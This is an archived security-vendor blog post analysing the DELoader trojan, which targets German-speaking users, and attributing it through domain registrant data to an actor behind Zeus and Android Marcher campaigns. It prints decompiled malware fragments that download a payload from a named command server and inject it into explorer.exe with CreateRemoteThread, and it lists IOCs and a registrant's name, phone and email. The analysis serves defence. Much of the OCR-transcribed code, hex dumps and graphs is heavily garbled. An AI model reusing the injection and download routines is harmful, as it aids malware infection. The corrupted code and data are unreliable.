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The Curious Case of an Unknown Trojan Targeting German-
Speaking Users
Published: 2016-06-21 - Archived: 2026-04-05 13:31:12 UTC

Last week, an unidentified malware (with SHA-256
171693ab13668c6004a1e08b83c9877a55f150aaa6d8a624c3f8ffc712b22f0b) was discovered and circulated on
Twitter by researcher @JAMES_MHT. Many researchers - including us - were unable to identify the malware so

we decided to dig a bit further.

In this post, we will share our findings about this malware: its targets, technical analysis, the related attacks and

the threat actor behind it.

Targets

One of the first things we wanted to know is if this malware has a specific target—thanks to researcher @benkow
some open directories on the malware C&C were discovered. One of the open directories contained logs of victim

IPs and computer names:

<« C' [ resdomactivationa.asia/ | N

2.193.32: MM -7506A21817_7a875768FF@337D9E.
2.193.32: 189579,

.32.142: 3184186368.

.32.142: 2733826285.

232,142 I 1 F3D59E907E41420: need new loader.
.32.142: NSRS 1F3D59ESD7E41A2D.

.32.142: 189662,

247 . 288 9.

247,208 2733826285.

.247.200: I 14E9C32062DE5185: need new loader.
.247.200: GEEEEE 14E9C32062DE5105.

.132.67: 585525841.

While there are not that many IP victims logged on this particular C&C, a look-up on ipintel.io showed a

concentration of victims from Germany and Austria:
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Incidentally, a quick dump of the malware code reveals the string “my_de” and “my_botnet” where the “de” in the

first string may refer to Germany’s country code:

18887324 : By = = 1<eE 1 LI
18887334: = — = =7eZmu_de T
18887344 : o
18887354 : = = = -
18887364 : b | .
18887374 : — - — 151 g 3 3G

18887384 : — — — my hutnet 1 BE!
188687394 : = — — - El

18887304 : — ~ = Tt Tﬂﬁln =gl
18887384 : = = = is: Uugq t 2

1888°73C4: = Fput B http:-sre
1EEE?3D4' = = = memhermetodayd . a

Due to this and the results of our analysis below, we tagged this malware DELoader (detected as
W32/DELoader.Altr).

DELoader Analysis

In a nutshell, DELoader’s primary purpose is to load additional malware on the system. It does this by initially

creating a suspended explorer.exe process:

Ba4a1571(] . G304 64 ADD ESP, 4 IUOOEIRME Loy ESFUD

]| It ALHe EHSRD PTR S52[ESFT, EAX - — - - FST poBE Cond B 508 Ecr BE GG @
. ErNE «LreateProcessl

e o e TEST ERY, ER FOU b27F Frec MEAR,S3 stk 111

Bada1ZvE|| . BFISCH g

pR4plSvE|| . FE3424 PUSH_DWORD TR SSHLESP]

Bm4ai3sl|| . SE POP ESI

eada133z|| . F3EC FC SUB ESF, -4

pRapiZse| | . L9 LEAUE

oadai38s|b.  £3 RETH -

-Badaiss L. LT

ERk=FEFZ20E2 (kernel2, CreateProcessH)

Bddress |Hex dump ASCII BEIZFAES| ASCIT "C:~Windowsesplorer.exe™

GOIZFAEE| 42 OF GG 57| 63 GE 64 6F ¢r £2 GG 65 r8 r@ EC F | Ci~Windows~enplo gg%%ﬁg%g ]

B812FA7E| 72 65 72 2E 65 73 65 0@ €F 72 €5 72 2E 65 7& 65| rer.ene.orer.exe S Rt

5E12FASE| BB FE 12 OB GR BA 09 B3 5B 1B 20 B9 38 B 14 09| .0%..... Pe—.B, 1. a015raca| GEmBEDEE

B812FA95| 5@ BS B0 77 OB B8 B8 B8 OB B9 BA B8 34 65 B0 77 P$.w........ 43w

AAIFFOO0= @A AR 1d AR E7 14 @1 F? df 1E ME 42 05 FF @R =20 ‘11 WAFFES+Cie @812F97C| BEO0BE04

It then proceeds to decrypt an embedded DLL from its body and inject it into explorer.exe:
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Badaz646(] «  5F FOF EDI

BEdEz2647 () .« ZBFY SUE ESILEDI

EEdnzed43 () > SDECLV FLEA ECH,0OWORD FTR DS5: CEDI+ED]
dadmze4cl o BAE431 MoL AL, BYTE PTR DS:[ECH+ESI]
BEdbzed4F () . 3203 #OR AL,BL

aadEzesl () . 8861 MU EYTE PTR O3: CECH], AL
AE4EZEES ) . Cld4s 14 B2 ROL DOWORD BTR S5: [EBP+14] g
BE4E2657 () o 5@ FUSH ERX

BE4E2653() « SB45 14 MOV ERX, OWORD FTR S55: CEEF+141
BE4E265E(] - Srod2d #CHG OWORD FTR S5: [ESF1,EA-
EadEzeEE() o BELCE24 Moy EBX, OWORD FTR 55: [ESF]
dadEzesl () o 2304 B4 AOD ESF, 4

dadbzesd (| . B30A AOD EEX, EDH

pad@zess() . 83ER FF SUE EDX, -1

BEd4Ezess (] . 83C4 FC ROD ESP.—4

godEzesC() o 53 FUSH EEX

BEd4b2650() «  SFB424 FOF OWORD FTR S55: CESFI
BEdEzevE(f .« SF45 14 FOF OWORD FTR S5:[CEEF+141
EEdEze 3|« SBEE 18 CHF_EDX, OWORD FTR 55: [EEF+1E1
334826?6 -~ FE 01 L. L SHORT 1_1.HE482649

A il . S9B3C24 MOl EDI,OWORD FTR S5:CESF]
88482678 . 93C4 a4 AOOD ESF, 4

HE4EZETE(] - 2B3424 Moy ESI,OWORD FTR S5:CESF]
ga4E2e21 () . 83C4 B4 AOD ESF, <

BE4E2684 () «  FF3d424 FUSH OWORD TR SS:[ESFI
BE4E2637 () . 5B FOF EBE&

pRdEzezE() o« 83EC FC SUE ESF, -4

pRdEzesE(| » BBZC24 Mol EEP,OWNORD FTR 55:CESF1
godocece|| . 8304 o4 |gbp FSPld

Stack SS'[BBIEF?DC] BEEEScEE
EDI=A820B1EA

Address | Hex dump ASCII -
BEZ0EIES| 4D SA 98 88|83 60 08 088|864 00 08 B3| FF FF 08 B8 MZE.#...#... ..
BEZOELFE(BE B0 OB 98|08 00 00 99|48 00 0D 98| 88 B0 08 BE(Fee. e Baianans
BEZOEZEE( B8 B0 OE 58|08 B0 OR B8 608 B0 OB B8 688 B0 B8 BE| vewseesssnsannns
BEZOEZ18( A8 B0 OA BE| B8 B0 OE B9 688 B0 OE BE| EB B0 B8 BE| ... enas
BEzZDEZ20( BE 1F BA GE B8 B4 @9 CO|21 B2 @1 4C CD 21 B4 &S| A¥|A.4. —*HEL—*Th
FEZ0E228[( 69 73 28 78|72 6F &7 72|61 &0 28 62|61 EE &E EF| iz program canno
HEZ20E248( P4 28 62 65|28 72 ¥S 6E| 28 &9 6E 28| 44 4F 53 28|t be run in DOS
BEZ0E2EE( 60 6F &4 &5|2E B0 B0 BA| 24 00 08 88|80 66 O8 88| mode o e p i
GEZ0EZEE| EF EE B8 57| AE 2F 66 B4 AE 8F &6 B4 AE 8F &6 G4 nEﬂN%ﬁFt%ﬁFt%ﬁFo
BEzZ0E27E| 57 FE OF B4|A7 2F &5 B4 | A2 FY FS B4 | A2 2F 65 B4 | W "™eDBFeaz] wiBfe
BEZ0EZ2SE|(AE 8F &7 B4 | D& BF 65 B4|CD &1 A9 84| BA 8F 66 B4 | %BgerBf+—=ars| &f+
BEZ0E29E(CO &1 AC 84| AR 2F &5 B4|CD &1 AR B4| AR 8F 66 B4 |=alaeBf =z Ef &
BEZOEZAE( 52 69 63 E8|AB BF 66 B4 | B0 B0 OE B@| A0 B0 OE BE(Rich%Afe........
FEZ0EZES( B8 PR BE G800 B0 B8 B8 680 B0 OE G880 B0 B8 B8| ... eeenaannns
BEZ0B2CH( 5@ 45 08 G8(4C B1 B4 G8|(E50 &1 47 57|00 00 08 G8(PE. .LBs. 1aGW.
BEZ0EZ08( A5 60 08 G8|EB 60 B2 21| 6B 8l BB 88|60 28 06 88| ....=. E*&E& W
BEZ0EZES|(BE 28 08 98|00 00 08 B8|(6AE 27 08 @8( 66 18 88 88| .0....... k.
BEZ0E2FE( B8 48 0B @@ 68 00 [0E 18 88 18 0D B8 88 82 oo Bg .@.....P -

BEZ0EZ8E8) BE BB B8 B8 Bl G0 B8 B8 B85 00 B8 B8 88 B0 B8 B8 .. 0.0 Feaaaaas 3
BEZ0EZ18| BB 80 88 B8 B8 B4 B8 B8 B8 B0 B8 B8 B2 00 48 B85(.C...%.. ..., B.EB% L_J
BEZOEZZ28) 86 BE 18 B8 66 10 68 B8 B0 G0 18 88 60 10 68 88 ..k k... kP,
BEZ0OBI38) BE BB B3 B8 16 G0 60 B8 EB 4F 00 88 43 00 60 88(.... k... e0..C...

BEZ0OEB24H) 228 4B B8 B8 72 G0 G0 B8 BB 00 G0 B8 BE 00 B0 B8 8K. . H.. .. .000...
BEZ0OB3CA) BB BB BA B8 AR GO GO B8 BE 00 G0 B8 66 B0 B8 B8 ... .. .00 e000aa.
BEZ0OBIEE| BB 7B GG B8 44 B1 G0 B8 BB 00 G0 88 66 00 B8 88| .p. .08, .........
BEZ0DEZVE| 80 00 B8 B8 80 00 50 B8 80 00 00 B8 88 00 88 B8 ... .ceissnsaanas
BEZ0E3SE) B8 BB B8 B8 B8 G0 B8 B8 B8 60 B8 B8 B8 B0 B8 B8 ... s cessanananas

BEZ0E3I9E) BE BB B8 B8 B8 B0 B8 B8 B8 40 B8 B8 C8 60 @8 88(......... BL.E..
BEZOEZHE) BB BE B8 B8 BB G0 B8 B8 B0 G0 60 B8 B0 B0 B8 B8 ..... .. 00e000aa.
BEZ0OBIEE| AR BE B3 B8 BB B0 68 88 2E 74 65 F2 |74 00 00 B88(......... tEHt. ..

BEZ0OBICH| 4E 26 B8 B8 BE 16 G0 B8 BB 28 00 B8 66 B4 00 B8 MHE. .. k... 0.0,
BEZ0OB30E) BB BB B B8 BE G0 GO B8 BE 00 G0 B8 28 00 B0 68| .......0.00.. el
BEZ0OB3EA| 2E 72 64 61|74 61 BA B8 23 10 00 88 66 48 00 88| .cdata. .4k, .. 0.,
BEZDEZFE| Ba 12 68 88| 88 2C 60 B8 80 00 00 98| 88 00 88 88| . %. . cpsranaaanas -

The injected DLL then attempts to download a file from the link hxxp://remembermetoday4.asia/00/b.bin:
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if ( w12 == 4u3 )
result = (HINTERHET)@xG000088;
U1l = HttpOpenRequestA(
vi3d,
“GET",
UrlComponents.lpszUrlPath,
“"HTTP/1.1",
8,
&lpszAcceptTypes,
{(unsigned int)result | Bx8484CF0A,
8);
if { telh )
goto LABEL_38;
if { w12 == 4u3 )
{
Buffer = 8;
duBufferLength = 4;
if {( InternetQueryOptionW{vik, 8x1Fu, &Buffer, &dwBufferLength) )}

Buffer |= 8x3188u;
InternetSetOptionW{vik, Bx1Fu, &Buffer, hu);
H
} ]
vi1% = get_str_len{"Connection: close\rin™);
if { HttpSendRegquestA{v14, "Connection: closeirin", vi5, 8, 8) )

Buffer = B8x800080;
if { {unsigned int)a3 >= Ox80080 )
{

while { InternetReadFile{vi4, (char =)u? + a2, 8x80000u, (LPDWORD)Y&Buffer) }
{
if { *Buffer )
{
vg = 1;
break;

9 = {char =)u? + Buffer;
Buffer = Bx80008;
if { (unsigned int){{char =)u? + BxBOBAB) > a3 )}
break ;
¥

H

InternetCloseHandle{ui4);
InternetCloseHandle{hInternet);
InternetCloseHandle{uvid);
result = B8;

Upon the time of analysis, the malware C&C was already sinkholed. Code-wise, the malware expects to download
a portable executable (PE) file as it validates the MZ header of the downloaded file. If valid, this PE file is then

copied to a newly allocated memory:
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[1f { =( WORD =)a2 t= 'ZH' ) ]
return o,
vifd = al;
vl a2 + ={ DWORD =){a? + offsetof{IMAGE_DOS HEADER, e_lfanew)};
(11 *( DUORD =){uvh + Bx58);
uld = a2 + ={ DWORD =)({a? + offsetof{IMAGE_DOS_ HEADER, e _l1fanew});
vih UirtualAlloc(®, ={ DWORD =){uvi4 + Bx58), 6x3888u, 4Hu);
u¥ = ubH;
ifF { tub6 )
return B8;
memset{uvs, vs, uld);
sub_18808286C{v7, (const void =)a?, ={ DWORD =){ul + deh]];
ul2 = ={ WORD =){vh + 6};
if ( *={ WORD =){ulk + &) )}
1
UirtualFree{v?, 8, B8x80800u);
return B8;
¥
if  (signed int)={ WORD =){ulk + &) > B )
{
uf = {int){{char =)u7 + ={ DWORD =){aZ + 68) + 280);
do
1

MZ file validation

vl = ={ DWORD =)jul;
vl = B;
if { =({ DWORD =)u8 }
{

vl = 1;

if ( v9 > ={ DWORD =){u8 - B) )

u? = ={ DWORD =){uE - B8);

¥
else
1

ul = ={ DUWORD #=){uvi13 + Bx38);
H
ul4 = {char =)}u? + ={ DWORD =){uE - L4);
memset{uvil, v?, ulll);
if ( vis )

sub_18882868C(v14, (const void =){u2 + ={ DWORD =){u8 + 433, u?);
v += 48;
——ui2;

It then searches for instance of a running explorer.exe process where it then injects the downloaded file using
CreateRemoteThread API:
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phExplorer = search_explorer(8);
phExplorer2 = phExplorer;

if { phExplorer )

{

v? = UirtualAllocEx{phExplorer, @, #*{ DWORD =*}{a1 + 52), 0x3000u, Lu);

v17 = u7;
if (v7 )
{

v = =(_DWORD =)(a1 + 52});
NumberOfBytesWritten = 8;
if { WriteProcessMemory{phExplorer2, v7, =(LPCUOID =){a1 + 48), v8, &MumberOfBytesWritten) )

if ( MumberOfBytesWritten == *{_DWORD =*){al + 52) )
{
U9 = sub_188829B5(vi); |
nSize = u9;
v18 = VirtualallocEx{phExplorer?, B8, v9, B23008u, 0x40u);
ul5 = vulB;
if ( vida )
{

NumberOfBytesWritten = 85
if { WriteProcessHemory({phExplorer2, vi@, v3d, nSize, &NumberOfBytesWritten} )

if { HumberOfBytesWritten == nSize )

lpBasenddress = VirtualAllocEx{phExplorer?, @, OxCECu, 0x3000u, 4u);
if { lpBasefnddress )

{
sub_18881C6D(&Buffer);
u19 = vi5;
vzl = uvi?;
v21 = =(_DWORD =){al + 52);
u23 = a2 | 8x19;

if ( dword_1008604C )
sub_10802808C(&u22?, {const void =)dword_108086064C, Bx4B0u);
v11 = 1pBasenddress;
NumberOfBytesWritten = 8;
if ( WriteProcessHemory(phExplorer2, lpBasefddress, &Buffer, BXCECu, &MumberOfBytesWritten)
|| HumberOfBytesWritten t= nSize }
{
ui2 = sub_10882DF4((int)us, " Run@a™);
if { vi12 )
{
uz? = 0
if { CreateRemoteThread(
phExplorer2,
a,
a,
(LPTHREAD_START_ROUTINE)}{{char =}vi15 + uv12 - (_DUWORD)uvI),
vil,
a,
8y )

DELoader’s routine doesn’t tell much about its intentions since its payload simply installs an additional PE file.

This PE file could be any malware, or simply an updated copy of itself.

Either way, it leads us to the next question — what is the motive behind DELoader?

Related Attacks

The registrant information of the malware C&C, resdomactivationa.asia, leads us to the next clue:
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Registrant ID:DI_46547487
Registrant Mame:Aleksandr Sirofimov
Registrant Organization:N/a
Registrant Address:Moyakovskogo 37
Registrant Address2:

Registrant Address3:

Registrant City:Moscow

Registrant State/Province:Moscow
Registrant Country/Economy:RL
Registrant Postal Code:53462
Registrant Phone:+7.532462362
Registrant Phone Ext.:

Registrant FAX:

Registrant FAX Ext.:

Registrant E-mail:sir? 77 zlex@outlook.com

The registrant details list someone named Aleksandr Sirofimov from Russia. Of course, we certainly don’t know

if Aleksandr is a real person, a stolen identity, an alias for a group, or the ‘nom de guerre’ of an individual

cybercriminal. However, the important thing is that these same registrant details have been frequently used in the

past to register malicious domains.

Below is an overview of some of the related attacks we were able to correlate using the email

address sir777alex@outlook.com:

) go
hitp !Fmasl@'\ asialc bin

° ‘
hh,,.‘.m@mmw, Q- @
mceuz&cumungas\:amm@msmmummmm -uwo-‘-a!l‘f"'.”'“‘ il
N 9

' et ff y
- )
. m— \ / -

e 2 nun ol p

ol 1086 Js - A
¥ i \ ) ;

iy .h.m@u«a.‘ - 2
v i ’Hw .. {f \ mmambz[s\a/ﬂﬂlh bin

/ as@a a ..
Lall sia \
voice s T 19b 7008542343000 t 7 £

invoice, 8423 5

mumm.usa.nu1iqzuuhmn@\ﬁnmalsnmasns‘masmm
fememhzrsralﬂﬂ!b bin

\ & e
sd‘sﬁmnm.‘:ﬁu;iw:xnr‘@ﬁmnmss
\nm\:n@ﬂﬂﬁ

w.wﬁw;nr;zsw:amw:-ramw.n 0 coBTadE1L0B812564642 7363862
P = .

From the above graph we can extract the infection chain for DELoader, which is delivered through malicious

JavaScript downloaders:
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invoice_| 6423 zip invoice_i#43294%6423 zi
S5def9d4c6b3c683364cb4c70308a a29f9ef755398e7feBe34f404437  5dcf9d4c6h3c683364chb4c70308aXghelddP5a29f9ef755398e7eBe34f404437

invoice fId0008 ;] invoice: 6423 js 7T Kk.com
8c3abc2c80bad7c32a81364cdbcb qea7elfloba0a81a8cd798e6591026a07db5  bec1aadddeBdal29caed BidbaTol 276441196d9841edBcB876b758e8 S/ 12 r@oulipok.c

°m net

http: Irnas in.net/00/b.exe

103¢6425cfcd5eb9351368c4ceq

5887 4545bc6b7947039405164d46b0d ’o e
| resdol na.asia

-

httptflresdnma.asian’OOn’cp.php

Since the JavaScript downloaders come from ZIP files with “invoice” themes, it is more or less sent to victims as

an attachment to malicious emails.

Furthermore, the above correlation enabled us to identify that the actor (or actors), using the name “Aleksandr,”

registered malicious domains as early as the 3™ quarter of 2015, while DELoader first surfaced by at least
February of 2016.

One of the malicious tools “Aleksandr” used is a Zeus variation — an infamous banking Trojan whose source code
was leaked five years ago. Here is a graph of some of the related Zeus variants out of the many Zeus C&C

domains “Aleksandr” registered:

83096b900713a541a7c18b1hEST fe7chaadefdbceesdiiatca

ﬂ

de965ae21a3122002100a6ac74 4eabd 540007c33cr9c1 4817c831 48d4e] 72850
Z2uS variation

w
4bTalbb7dosadbdeflecBeRfichIc22edle3 a1 B5d7h05ALEIGG | T1625d1 86093
Zaus variation

08357318057 e 70341202, 45261371 Jeb 5200 l

ﬂ

0410206 44533680 49250615277 cc58aBba25as a0 7 d51 cdDEOMDENBaSSE

841156646a01590006d831 ca35ag 123c804c8192670b4¢bfd 241 9at
-~ ZeuS variation

ZauS variaion /
/ master]in
.
.. a/ '\
goodvin7776T m\ sir77alex@outiook com

b5a7AIT 5265302804 Gatfaba 7 !\\swanashu 1d72144805a6301 7714
2uS variation
L3

n
‘? 2121¢0078143d7¢8c94 9355756 5549ch 49004 7892B5 3824680871 8235870a1
ZauS variation

57541438437 34811226004 96008004 11dd 2BEdC 50510075
Z2uS variation

523189107 ddbAcSE 574acac4703ada68C1 41aas7 9071 0WIA09: 2338000
2us vaniation

€03864a34007 583416 20203¢605! 2373968438151 ac2521ac 3000623564
ZsuS variation

An online search of the domain goodvin77787.in leads us to this blog. The blog talks about a DHL-themed Zeus
campaign targeting German-speaking users where all the related Zeus C&Cs were registered using “Aleksandr’s”

details.
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So we now know that person or persons behind “Aleksandr” have been (or are still) involved in a malicious
campaign for stealing banking credentials. True to the nature of DELoader, the previous campaign also targeted

German-speaking users.
Are German-Speaking Users "Aleksandr’s" Only Target?

Another domain the individual or group known as “Aleksandr” registered is bestbrowser-2015.biz. This domain
was used as a C&C server for Android Marcher variants — an Android banking Trojan sold on Russian

underground forums:

sirf77alex@outlook.com

&/

bestbrowser-2015.hiz

A s
ki -
42a606eaffe5290201ch90336h55cd2f2eT 747 AdETERETeffA4dThETOMd9e] Gadcacaleds510fed128al abfeeell dbdB22de3chf399de24836202afBaedE6Mf
Android Marcher Andraid Marcher

Interestingly, these trojans were configured to steal credentials from Australian banks. Below is a code snippet

from one of the Android Marcher samples:

protected void onCreate (Bundle paramBundle)
{
super.onCreate (paramBundle)
Log.d("™Mainfctivity™, "onCreate™):
d.c{this, true):
d.b{this, "[{\"to"

=ex

new a(this);

this.x

Settings.System.putlnt (getContentResolver(), "wifi sleesp policy™, 2);

if (MainService.a == null)

ot
MainService.a = ((PowerManager)getSystemService ("power")) .newWakeLock(l, "main service wakelock");
MainService.a.acqguire () :
MainService.b = ((WifiManager)getSystemService ("wifi")).createWifilock(l, "M

It is worth noting that these Marcher variants surfaced around the same time “Aleksandr” was running Zeus

campaigns in the 3" and 4™ quarter of 2015. This suggests that he was running his malicious regional campaigns

simultaneously.
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Conclusion

While DELoader is a relatively new malware, the findings in this research demonstrate that the threat actor behind

it has actually been around for quite some time, and has left a substantial amount of fingerprints over the Internet.

Historical information shows that the individual or group using the name “Aleksandr” have been involved in bank
information theft not only of German-speaking users, but have also targeted Australian users. It is possible that

DELoader may be used to aid in similar purposes in the future.

We are unable to confirm the legitimacy of “Aleksandr’s” registrant details, or if he (or they) is working with a

group. We may, however, have an idea on where “Aleksandr” is located.

Earlier, we showed that the geolocations of DELoader victims were concentrated in Germany and Austria. You

might have also noticed that one of the IPs deviated from that area — it resolved to Kiev,Ukraine:
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& |
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; IP- 22 I C X
Hostname: Mo Hostname
sMin Poland Organisation: maSeeekrsne
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®

39

I
Kha
It Xar
¢
krain o
Slovakia U < ]
.Bud-;T:nest \lﬁ_’
® oldova +
H hisinaue 10dessa
ungary Chisinau ﬂgﬂﬂ -

nnnnnnn -

o el :
&/ Map data 20 6 GeoBasis-DE/EKG/{E2009), Google, Inst. Geogr. Nacionakiveps Bifraek ORION-ME' Terms of Use Report a map error

This is odd since German is not a common language in Ukraine. So we theorized that this anomalous event may

be due to someone testing the DELoader.

To test our theory, we looked up the IP in the C&C logs to find more information. Can you find the interesting

string in the IP’s computer name below?

g92. LOd4: 1322261341.

g92. .94 2733826285,

92. .94: ALEXANDRIOKZSEl E6BGBOE4CF29F94A.
92. .94 1040.

High five if you found “ALEXANDR”.

-= FortiGuard Lion Team =-
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IOCs
DELoader SHA-256 hashes (all detected as W32/DELoader.Altr):

72faed0bc66afelf42bd7e75b7ea26e0596effac65f67c0ac367a84ec4858891
5d759710686db2c5b81c7125aacf70e252de61ab360d95e46cee8a9011c5693f
€16281c83378a597cbc4b01410f997e45b89c5d06efada8000ff79c3a24d63ca
171693ab13668c6004a1e08b83c9877a55f150aaa6d8a624c3f8ffc712b22f0b
5afee15a022fcdb12cc791dd02db0ec6beb2e9152b312b2251f2b8ecfe62e03c
103c6f425cfcd5eb935136f8c4ce51b9556974545bc6b7947039405164d46b0d
cec73c7b54c290b297a713e0eb07c7c2d822cc67ed61b9981256464273d63892

Domains registered by sir777alex@outlook.com:

yberprojects22017.info
masterhost8981.asia
novl5mailmarketing.in
auspostresponse22.asia
goodwinn8.asia
mastehost12312.asia
masterhost1333.asia
marketingmas.in.net
remembermetoday4.asia
startupproject33676.asia
bestbrowser-2015.biz
marketing5050.asia
marketingking878.asia
yidckntbrmhuuhmq.com
resdomactivationa.asia
ukcompanymarketing.asia
goodvin77787.in
jajajakala8212.asia
masterhost122133.asia
masterj.in
lalalababla.asia
responder201922.asia
cyberprojects2727.info
super-sexy-girl2015.net
jxsraxhlccokkrob.com
mastehost88832.asia
masterlin888.pw
mamba777.in
copolsox.us

10cyberprojects2016.asia
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startupproject336.asia
masterhost122133.asia

Source: https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html
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